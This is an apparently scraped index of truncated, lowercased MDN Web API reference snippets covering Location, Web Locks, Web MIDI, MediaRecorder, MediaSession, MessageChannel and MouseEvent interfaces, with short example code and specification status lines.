let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'search' in that specification.
Location: toString() - Web APIs
WebAPILocationtoString
syntax string = object.tostring(); examples // let's imagine an <a id="myanchor" href="https://developer.mozilla.org/docs/location/tostring"> element is in the document var anchor = document.getelementbyid("myanchor"); var result = anchor.tostring(); // returns: 'https://developer.mozilla.org/docs/location/tostring' specifications specification status comment html living standard living standard ...
Location - Web APIs
WebAPILocation
og(url.host); // developer.mozilla.org:8080 console.log(url.hostname); // developer.mozilla.org console.log(url.port); // 8080 console.log(url.pathname); // /search console.log(url.search); // ?q=url console.log(url.hash); // #search-results-close-container console.log(url.origin); // https://developer.mozilla.org:8080 specifications specification status comment html living standardthe definition of 'location' in that specification.
Locks.mode - Web APIs
WebAPILockmode
show "exclusive" navigator.locks.request("my_resource", {mode: "exclusive"}, show_lock_properties); // should show "shared" navigator.locks.request("my_resource", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'mode' in that specification.
Locks.name - Web APIs
WebAPILockname
navigator.locks.request("net_db_sync", show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'name' in that specification.
Lock - Web APIs
WebAPILock
navigator.locks.request("net_db_sync", show_lock_properties); navigator.locks.request("another_lock", {mode: "shared"}, show_lock_properties); function show_lock_properties(lock) { console.log(`the lock name is: ${lock.name}`); console.log(`the lock mode is: ${lock.mode}`); } specifications specification status comment web locks apithe definition of 'lock' in that specification.
LockManager.query() - Web APIs
WebAPILockManagerquery
example const state = await navigator.locks.query(); for (const lock of state.held) { console.log(`held lock: name ${lock.name}, mode ${lock.mode}`); } for (const request of state.pending) { console.log(`requested lock: name ${request.name}, mode ${request.mode}`); } specifications specification status comment web locks apithe definition of 'query()' in that specification.
LockManager - Web APIs
specifications specification status comment web locks apithe definition of 'lockmanager' in that specification.
LockedFile.active - Web APIs
WebAPILockedFileactive
specifications specification status comment filesystem api editor's draft draft proposal.
MIDIAccess - Web APIs
(access) { // get lists of available midi controllers const inputs = access.inputs.values(); const outputs = access.outputs.values(); access.onstatechange = function(e) { // print information about the (dis)connected midi controller console.log(e.port.name, e.port.manufacturer, e.port.state); }; }); specifications specification status comment web midi api working draft initial definition.
MIDIConnectionEvent - Web APIs
properties midiconnectionevent.port returns a reference to a midiport instance for a port that has been connected or disconnected." examples specifications specification status comment web midi api working draft initial definition.
MIDIInput - Web APIs
WebAPIMIDIInput
specifications specification status comment web midi api working draft initial definition.
MIDIInputMap - Web APIs
specifications specification status comment web midi api working draft initial definition.
MIDIMessageEvent - Web APIs
examples // printing all messages to console navigator.requestmidiaccess().then(midiaccess => { array.from(midiaccess.inputs).foreach(input => { input[1].onmidimessage = console.log; }) }); specifications specification status comment web midi apithe definition of 'midimessageevent' in that specification.
MIDIOutputMap - Web APIs
specifications specification status comment web midi api working draft initial definition.
MSCandidateWindowShow - Web APIs
mscandidatewindowshow fires immediately after the input method editor (ime) candidate window is set to appear, but before it renders.
MSManipulationEvent.initMSManipulationEvent() - Web APIs
number; readonly inertiadestinationy: number; readonly laststate: number; initmsmanipulationevent(typearg: string, canbubblearg: boolean, cancelablearg: boolean, viewarg: window, detailarg: number, laststate: number, currentstate: number): void; readonly ms_manipulation_state_active: number; readonly ms_manipulation_state_cancelled: number; readonly ms_manipulation_state_committed: number; readonly ms_manipulation_state_dragging: number; readonly ms_manipulation_state_inertia: number; readonly ms_manipulation_state_preselect: number; readonly ms_manipulation_state_selecting: number; readonly ms_manipulation_state_stopped: number; } see also msmanipulationevent microsoft api extensions ...
MSManipulationEvent - Web APIs
number; readonly inertiadestinationy: number; readonly laststate: number; initmsmanipulationevent(typearg: string, canbubblearg: boolean, cancelablearg: boolean, viewarg: window, detailarg: number, laststate: number, currentstate: number): void; readonly ms_manipulation_state_active: number; readonly ms_manipulation_state_cancelled: number; readonly ms_manipulation_state_committed: number; readonly ms_manipulation_state_dragging: number; readonly ms_manipulation_state_inertia: number; readonly ms_manipulation_state_preselect: number; readonly ms_manipulation_state_selecting: number; readonly ms_manipulation_state_stopped: number; } see also touchevent msmanipulationstatechanged microsoft api extensions ...
MSSiteModeEvent - Web APIs
stopimmediatepropagation prevents any further propagation of an event.
MathMLElement - Web APIs
e has no methods, but inherits methods from: documentandelementeventhandlers, element, elementcssinlinestyle, globaleventhandlers, htmlorforeignelement examples mathml <math xmlns="http://www.w3.org/1998/math/mathml"> <msqrt> <mi>x</mi> </msqrt> </math> javascript document.queryselector('msqrt').constructor.name; // mathmlelement specifications specification status comment mathmlelement interface ...
MediaCapabilities.decodingInfo() - Web APIs
'' : 'not ') + 'power efficient.') }); specifications specification status comment media capabilitiesthe definition of 'decodinginfo()' in that specification.
MediaCapabilities.encodingInfo() - Web APIs
'' : 'not ') + 'power efficient.') }); specifications specification status comment media capabilitiesthe definition of 'encodinginfo()' in that specification.
MediaCapabilities - Web APIs
specifications specification status comment media capabilitiesthe definition of 'mediacapabilities' in that specification.
MediaCapabilitiesInfo - Web APIs
}); specifications specification status comment media capabilitiesthe definition of 'mediacapabilitiesinfo' in that specification.
MediaConfiguration - Web APIs
} }; specifications specification status comment media capabilitiesthe definition of 'mediaconfiguration' in that specification.
MediaDecodingConfiguration - Web APIs
'' : 'not ') + 'supported.') }); specifications specification status comment media capabilitiesthe definition of 'mediadecodingconfiguration' in that specification.
MediaDevices: devicechange event - Web APIs
candidate recommendation ...
MediaDevices.getDisplayMedia() - Web APIs
specifications specification status comment screen capturethe definition of 'mediadevices.getdisplaymedia()' in that specification.
MediaElementAudioSourceNode() - Web APIs
example var ac = new audiocontext(); var mediaelement = document.createelement('audio'); var options = { mediaelement : mediaelement } var myaudiosource = new mediaelementaudiosourcenode(ac, options); specifications specification status comment web audio apithe definition of 'mediaelementaudiosourcenode' in that specification.
MediaElementAudioSourceNode.mediaElement - Web APIs
examples const audioctx = new window.audiocontext(); const audioelem = document.queryselector('audio'); let options = { mediaelement: audioelem } let source = new mediaelementaudiosourcenode(audioctx, options); console.log(source.mediaelement); specifications specification status comment web audio apithe definition of 'mediaelementaudiosourcenode.mediaelement' in that specification.
MediaElementAudioSourceNode - Web APIs
specification specification status comment web audio apithe definition of 'mediaelementaudiosourcenode' in that specification.
MediaEncodingConfiguration - Web APIs
'' : 'not ') + 'supported.') }); specifications specification status comment media capabilitiesthe definition of 'mediaencodingconfiguration' in that specification.
MediaError.code - Web APIs
WebAPIMediaErrorcode
the error handler simply outputs a message var obj = document.createelement('video'); obj.onerror = function() {console.log("error with media: " + obj.error.code);} obj.src="https://example.com/blahblah.mp4"; specifications specification status comment html living standardthe definition of 'mediaerror.code' in that specification.
MediaError.message - Web APIs
specifications specification status comment html living standardthe definition of 'mediaerror.message' in that specification.
MediaImage - Web APIs
specifications specification status comment media session standardthe definition of 'mediaimage' in that specification.
MediaKeyStatusMap.entries() - Web APIs
returns exceptions specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.forEach() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.get() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.has() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.keys() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaKeyStatusMap.values() - Web APIs
specifications specification status comment encrypted media extensions recommendation initial definition.
MediaMetadata.MediaMetadata() - Web APIs
session.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediametadata()' in that specification.
MediaMetadata.album - Web APIs
specifications specification status comment media session standardthe definition of 'album' in that specification.
MediaMetadata.artist - Web APIs
specifications specification status comment media session standardthe definition of 'artist' in that specification.
MediaMetadata.artwork - Web APIs
specifications specification status comment media session standardthe definition of 'artwork' in that specification.
MediaMetadata.title - Web APIs
specifications specification status comment media session standardthe definition of 'title' in that specification.
MediaMetadata - Web APIs
specifications specification status comment media session standardthe definition of 'mediametadata' in that specification.
MediaPositionState - Web APIs
specifications specification status comment media session standardthe definition of 'mediapositionstate' in that specification.
MediaQueryList.addListener() - Web APIs
.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'addlistener' in that specification.
MediaQueryList.matches - Web APIs
(mq, callback) { if (mq.addeventlistener) { mq.addeventlistener("change", callback); } else { mq.addlistener(callback); } } addmqlistener(window.matchmedia("(orientation:landscape)"), event => { if (event.matches) { /* now in landscape orientation */ } else { /* now in portrait orientation */ } } ); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specification.
MediaQueryList.media - Web APIs
css .mq-value { font: 18px arial, sans-serif; font-weight: bold; color: #88f; padding: 0.4em; border: 1px solid #dde; } result specifications specification status comment css object model (cssom) view modulethe definition of 'media' in that specification.
MediaQueryList.onchange - Web APIs
x-width: 600px)'); mql.addeventlistener( "change", (e) => { if (e.matches) { /* the viewport is 600 pixels wide or less */ console.log('this is a narrow screen — less than 600px wide.') } else { /* the viewport is more than than 600 pixels wide */ console.log('this is a wide screen — more than 600px wide.') } }) specifications specification status comment css object model (cssom) view modulethe definition of 'onchange' in that specification.
MediaQueryList.removeListener() - Web APIs
ument.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); // later on, when it is no longer needed mql.removelistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'removelistener' in that specification.
MediaQueryListEvent.MediaQueryListEvent() - Web APIs
examples var media = '(max-width: 600px)'; var matches = true; var mymediaquerylistevent = new mediaquerylistevent({media, matches}); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent()' in that specification.
MediaQueryListEvent.matches - Web APIs
textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'matches' in that specification.
MediaQueryListEvent.media - Web APIs
narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } console.log(e.media); } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'media' in that specification.
MediaQueryListEvent - Web APIs
.textcontent = 'this is a narrow screen — less than 600px wide.'; document.body.style.backgroundcolor = 'red'; } else { /* the viewport is more than than 600 pixels wide */ para.textcontent = 'this is a wide screen — more than 600px wide.'; document.body.style.backgroundcolor = 'blue'; } } mql.addlistener(screentest); specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistevent' in that specification.
MediaQueryListListener - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'mediaquerylistlistener' in that specification.
MediaRecorder() - Web APIs
} } specifications specification status comment mediastream recording working draft initial definition ...
MediaRecorder.audioBitsPerSecond - Web APIs
specifications specification status comment mediastream recordingthe definition of 'audiobitspersecond' in that specification.
MediaRecorder.isTypeSupported - Web APIs
"maybe!" : "nope :(")); } specifications specification status comment mediastream recordingthe definition of 'istypesupported()' in that specification.
MediaRecorder.mimeType - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.mimetype' in that specification.
MediaRecorder.ondataavailable - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.ondataavailable' in that specification.
MediaRecorder.onerror - Web APIs
default: shownotification("a problem occurred while trying " + "to record the video."); break; } }; /* this would be a good place to create a worker to handle writing the buffers to disk periodically */ recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onerror' in that specification.
MediaRecorder.onpause - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onpause' in that specification.
MediaRecorder.onresume - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onresume' in that specification.
MediaRecorder.onstart - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onstart' in that specification.
MediaRecorder.onstop - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.onstop' in that specification.
MediaRecorder.pause() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.pause()' in that specification.
MediaRecorder.requestData() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.requestdata()' in that specification.
MediaRecorder.resume() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.resume()' in that specification.
MediaRecorder.state - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.state' in that specification.
MediaRecorder.stop() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.stop()' in that specification.
MediaRecorder.stream - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecorder.stream' in that specification.
MediaRecorder.videoBitsPerSecond - Web APIs
example // tbd specifications specification status comment mediastream recordingthe definition of 'videobitspersecond' in that specification.
MediaRecorder - Web APIs
specifications specification status comment mediastream recording working draft initial definition ...
MediaRecorderErrorEvent() - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent()' in that specification.
MediaRecorderErrorEvent.error - Web APIs
rder(stream); } catch(err) { /* exception while trying to create the recorder; handle that */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; }; recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent.error' in that specification.
MediaRecorderErrorEvent - Web APIs
specifications specification status comment mediastream recordingthe definition of 'mediarecordererrorevent' in that specification.
MediaSession.metadata - Web APIs
session.setactionhandler('pause', function() {}); navigator.mediasession.setactionhandler('seekbackward', function() {}); navigator.mediasession.setactionhandler('seekforward', function() {}); navigator.mediasession.setactionhandler('previoustrack', function() {}); navigator.mediasession.setactionhandler('nexttrack', function() {}); } specifications specification status comment media session standardthe definition of 'mediasession.metadata' in that specification.
MediaSession.playbackState - Web APIs
ueryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications specification status comment media session standardthe definition of 'playbackstate' in that specification.
MediaSession.setPositionState() - Web APIs
let positioninterval = window.setinterval(() => { if (mymedia.isplaying) { navigator.mediasession.setpositionstate({ duration: mymedia.trackdurationinseconds, playbackrate: mymedia.playbackrate, position: mymedia.trackplaypositioninseconds }); } else { window.clearinterval(positioninterval); } }, 1000); specifications specification status comment media session standardthe definition of 'mediasession.setpositionstate()' in that specification.
MediaSession - Web APIs
nt.queryselector("#player"); audio.src = "song.mp3"; navigator.mediasession.setactionhandler('play', play); navigator.mediasession.setactionhandler('pause', pause); function play() { audio.play(); navigator.mediasession.playbackstate = "playing"; } function pause() { audio.pause(); navigator.mediasession.playbackstate = "paused"; } specifications specification status comment media session standardthe definition of 'mediasession' in that specification.
MediaSessionActionDetails.fastSeek - Web APIs
specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.fastseek' in that specification.
MediaSessionActionDetails.seekOffset - Web APIs
specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.seekoffset' in that specification.
MediaSessionActionDetails.seekTime - Web APIs
specifications specification status comment media session standardthe definition of 'mediasessionactiondetails.seektime' in that specification.
MediaSettingsRange.max - Web APIs
specifications specification status comment mediastream image capturethe definition of 'max' in that specification.
MediaSettingsRange.min - Web APIs
specifications specification status comment mediastream image capturethe definition of 'min' in that specification.
MediaSettingsRange.step - Web APIs
specifications specification status comment mediastream image capturethe definition of 'step' in that specification.
MediaSettingsRange - Web APIs
.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosettings.imagewidth; }) .catch(error => console.log('argh!', error.name || error)); specifications specification status comment mediastream image capturethe definition of 'mediasettingsrange' in that specification.
MediaStream: addtrack event - Web APIs
candidate recommendation ...
MediaStream: removetrack event - Web APIs
candidate recommendation ...
MediaStreamAudioDestinationNode.MediaStreamAudioDestinationNode() - Web APIs
example var ac = new audiocontext(); var mydestination = new mediastreamaudiodestinationnode(ac); specifications specification status comment web audio apithe definition of 'mediastreamaudiodestinationnode' in that specification.
MediaStreamAudioDestinationNode.stream - Web APIs
example specifications specification status comment web audio apithe definition of 'stream' in that specification.
MediaStreamAudioDestinationNode - Web APIs
example specification specification status comment web audio apithe definition of 'mediastreamaudiodestinationnode' in that specification.
MediaStreamAudioSourceNode() - Web APIs
= { mediastream : stream } var source = new mediastreamaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamaudiosourcenode()' in that specification.
MediaStreamAudioSourceNode.mediaStream - Web APIs
examples const audioctx = new window.audiocontext(); let options = { mediastream : stream } let source = new mediastreamaudiosourcenode(audioctx, options); console.log(source.mediastream); specifications specification status comment web audio apithe definition of 'mediastreamaudiosourcenode.mediastream' in that specification.
MediaStreamAudioSourceNode - Web APIs
specification specification status comment web audio apithe definition of 'mediastreamaudiosourcenode' in that specification.
MediaStreamAudioSourceOptions.mediaStream - Web APIs
example specifications specification status comment web audio apithe definition of 'mediastreamaudiosourceoptions.mediastream' in that specification.
MediaStreamAudioSourceOptions - Web APIs
specifications specification status comment web audio apithe definition of 'mediastreamaudiosourceoptions' in that specification.
MediaStreamTrackAudioSourceNode() - Web APIs
streamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourcenode()' in that specification.
MediaStreamTrackAudioSourceNode - Web APIs
specification specification status comment web audio apithe definition of 'mediastreamtrackaudiosourcenode' in that specification.
MediaStreamTrackAudioSourceOptions.mediaStreamTrack - Web APIs
streamtrack: stream.getaudiotracks()[0]; } let source = new mediastreamtrackaudiosourcenode(audioctx, options); source.connect(audioctx.destination); }).catch(function(err) { console.log('the following gum error occured: ' + err); }); } else { console.log('new getusermedia not supported on your browser!'); } specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourceoptions.mediastream' in that specification.
MediaStreamTrackAudioSourceOptions - Web APIs
specifications specification status comment web audio apithe definition of 'mediastreamtrackaudiosourceoptions' in that specification.
MediaStream Image Capture API - Web APIs
specifications specification status comment mediastream image capture working draft initial definition.
Recording a media element - Web APIs
note that the autoplay attribute is used so that as soon as the stream starts to arrive from the camera, it immediately gets displayed, and the muted attribute is specified to ensure that the sound from the user's microphone isn't output to their speakers, causing an ugly feedback loop.
Using the MediaStream Recording API - Web APIs
specifications specification status comment mediastream recording working draft initial definition ...
MediaStream Recording API - Web APIs
specifications specification status comment mediastream recording working draft initial definition ...
MediaTrackConstraints.cursor - Web APIs
let displaymediaoptions = { cursor: { exact: "none" } }; specifications specification status comment screen capturethe definition of 'mediatrackconstraints.cursor' in that specification.
MediaTrackConstraints.displaySurface - Web APIs
tbd specifications specification status comment screen capturethe definition of 'mediatrackconstraints.displaysurface' in that specification.
MediaTrackConstraints.logicalSurface - Web APIs
specifications specification status comment screen capturethe definition of 'mediatrackconstraints.logicalsurface' in that specification.
MediaTrackConstraints - Web APIs
specifications specification status comment media capture and streams candidate recommendation initial definition.
MediaTrackSettings.cursor - Web APIs
specifications specification status comment screen capturethe definition of 'mediatracksettings.cursor' in that specification.
MediaTrackSettings.displaySurface - Web APIs
specifications specification status comment screen capturethe definition of 'mediatracksettings.displaysurface' in that specification.
MediaTrackSupportedConstraints.cursor - Web APIs
t displaymediaoptions = { video: { displaysurface: "browser" }, audio: false; }; if (supportedconstraints.cursor) { displaymediaoptions.video.cursor = "always"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.cursor' in that specification.
MediaTrackSupportedConstraints.displaySurface - Web APIs
traints(); let displaymediaoptions = { video: { }, audio: false; }; if (supportedconstraints.displaysurface) { displaymediaoptions.video.displaysurface = "monitor"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.displaysurface' in that specification.
MediaTrackSupportedConstraints.logicalSurface - Web APIs
traints(); let displaymediaoptions = { video: { }, audio: false; }; if (supportedconstraints.logicalsurface) { displaymediaoptions.video.logicalsurface = "monitor"; } try { videoelem.srcobject = await navigator.mediadevices.getdisplaymedia(displaymediaoptions); } catch(err) { /* handle the error */ } } specifications specification status comment screen capturethe definition of 'mediatracksupportedconstraints.logicalsurface' in that specification.
Media Capabilities API - Web APIs
specifications specification status comment media capabilities draft initial definition ...
MessageChannel() - Web APIs
specifications specification status comment html living standardthe definition of 'messagechannel()' in that specification.
MessageChannel.port1 - Web APIs
'); var ifr = document.queryselector('iframe'); var otherwindow = ifr.contentwindow; ifr.addeventlistener("load", iframeloaded, false); function iframeloaded() { otherwindow.postmessage('hello from the main page!', '*', [channel.port2]); } channel.port1.onmessage = handlemessage; function handlemessage(e) { para.innerhtml = e.data; } specifications specification status comment html living standardthe definition of 'port1' in that specification.
MessageChannel.port2 - Web APIs
specifications specification status comment html living standardthe definition of 'port2' in that specification.
MessageChannel - Web APIs
specifications specification status comment html living standardthe definition of 'message channels' in that specification.
MessageEvent.MessageEvent() - Web APIs
example var mymessage = new messageevent('worker', { data : 'hello' }); specifications specification status comment html living standardthe definition of 'messageevent()' in that specification.
MessageEvent.data - Web APIs
WebAPIMessageEventdata
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); }; specifications specification status comment html living standardthe definition of 'messageevent: data' in that specification.
MessageEvent.lastEventId - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.lasteventid); }; specifications specification status comment html living standardthe definition of 'messageevent: lasteventid' in that specification.
MessageEvent.origin - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.origin); }; specifications specification status comment html living standardthe definition of 'messageevent: origin' in that specification.
MessageEvent.ports - Web APIs
} specifications specification status comment html living standardthe definition of 'ports' in that specification.
MessageEvent.source - Web APIs
example myworker.onmessage = function(e) { result.textcontent = e.data; console.log('message received from worker'); console.log(e.source); }; specifications specification status comment html living standardthe definition of ' messageevent: source' in that specification.
MessageEvent - Web APIs
} specifications specification status comment html living standardthe definition of 'messageevent' in that specification.
MessagePort.close() - Web APIs
WebAPIMessagePortclose
channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); you could stop messages being sent at any time using channel.port1.close(); specifications specification status comment html living standardthe definition of 'close()' in that specification.
MessagePort.onmessage - Web APIs
specifications specification status comment html living standardthe definition of 'onmessage' in that specification.
MessagePort.onmessageerror - Web APIs
}; specifications specification status comment html living standardthe definition of 'onmessageerror' in that specification.
MessagePort.postMessage() - Web APIs
specifications specification status comment html living standardthe definition of 'postmessage()' in that specification.
MessagePort.start() - Web APIs
WebAPIMessagePortstart
ould be to do this using eventtarget.addeventlistener, however, when this method is used, you need to explicitly call start() to begin the flow of messages to this document: channel.port1.addeventlistener('message', handlemessage, false); function handlemessage(e) { para.innerhtml = e.data; textinput.value = ''; } channel.port1.start(); specifications specification status comment html living standardthe definition of 'start()' in that specification.
MessagePort - Web APIs
specifications specification status comment html living standardthe definition of 'message ports' in that specification.
Metadata - Web APIs
WebAPIMetadata
specifications specification status comment file and directory entries api draft draft of proposed api this api has no official w3c or whatwg specification.
MimeType - Web APIs
WebAPIMimeType
specifications specification status comment html living standardthe definition of 'mimetype' in that specification.
MimeTypeArray - Web APIs
} specifications specification status comment html living standardthe definition of 'mimetypearray' in that specification.
MouseEvent() - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
MouseEvent.altKey - Web APIs
WebAPIMouseEventaltKey
html <p>click anywhere to test the <code>altkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the alt key is pressed: ${e.altkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.altkey' in that specification.
MouseEvent.button - Web APIs
WebAPIMouseEventbutton
on) { case 0: log.textcontent = 'left button clicked.'; break; case 1: log.textcontent = 'middle button clicked.'; break; case 2: log.textcontent = 'right button clicked.'; break; default: log.textcontent = `unknown button code: ${e.button}`; } } } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.button' in that specification.
MouseEvent.buttons - Web APIs
text('?'); function logbuttons(e) { log.data = `${e.buttons} (${e.type})`; // log.nodevalue= `${e.buttons} (${e.type})`; } document.addeventlistener('mouseup', logbuttons); document.addeventlistener('mousedown', logbuttons); // document.addeventlistener('mousemove', logbuttons); document.queryselector('#log').appendchild(log) result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.buttons' in that specification.
MouseEvent.clientX - Web APIs
html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clientx' in that specification.
MouseEvent.clientY - Web APIs
html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'clienty' in that specification.
MouseEvent.ctrlKey - Web APIs
html <p>click anywhere to test the <code>ctrlkey</code> property.</p> <p id="log"></p> javascript let log = document.queryselector('#log'); document.addeventlistener('click', logkey); function logkey(e) { log.textcontent = `the ctrl key is pressed: ${e.ctrlkey}`; } result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.ctrlkey' in that specification.
MouseEvent.getModifierState() - Web APIs
specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'getmodifierstate()' in that specification.
MouseEvent.initMouseEvent() - Web APIs
get,stag = dt.tagname.tolowercase(); document.getelementbyid("out").innerhtml = stag; }; var simulateclick = function(){ var evt = document.createevent("mouseevents"); evt.initmouseevent("click", true, true, window, 0, 0, 0, 80, 20, false, false, false, false, 0, null); document.body.dispatchevent(evt); } simulateclick(); result specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'mouseevent.initmouseevent()' in that specification.
MouseEvent.offsetX - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
MouseEvent.offsetY - Web APIs
specifications specification status comment css object model (cssom) view modulethe definition of 'mouseevent' in that specification.
MouseEvent.pageX - Web APIs
WebAPIMouseEventpageX
.box { width: 400px; height: 250px; border: 2px solid darkblue; background-color: blue; color: white; font: 16px "zilla", "open sans", "helvetica", "arial", sans-serif; } result try this out here: specifications specification status comment css object model (cssom) view modulethe definition of 'pagex' in that specification.
MouseEvent.pageY - Web APIs
WebAPIMouseEventpageY
examples var pagey = event.pagey; specifications specification status comment css object model (cssom) view modulethe definition of 'pagey' in that specification.
MouseEvent.relatedTarget - Web APIs
event.relatedtarget.id : "unknown"; log.innertext = `\ninto ${event.target.id} from ${related} ${mouseoutlog.innertext}`; } result specifications specification status comment ui eventsthe definition of 'mouseevent.relatedtarget' in that specification.
MouseEvent.screenX - Web APIs
events on the window, document, or other roomy elements, you can get the coordinates of that event (e.g., a click) and route it properly, as the following example demonstrates: function checkclickmap(e) { if (e.screenx < 50) doredbutton(); if (50 <= e.screenx && e.screenx < 100) doyellowbutton(); if (e.screenx >= 100) doredbutton(); } specifications specification status comment css object model (cssom) view modulethe definition of 'screenx' in that specification.
MouseEvent.screenY - Web APIs
html <p>move your mouse to see its position.</p> <p id="screen-log"></p> javascript let screenlog = document.queryselector('#screen-log'); document.addeventlistener('mousemove', logkey); function logkey(e) { screenlog.innertext = ` screen x/y: ${e.screenx}, ${e.screeny} client x/y: ${e.clientx}, ${e.clienty}`; } result specifications specification status comment css object model (cssom) view modulethe definition of 'screeny' in that specification.
MouseEvent.shiftKey - Web APIs
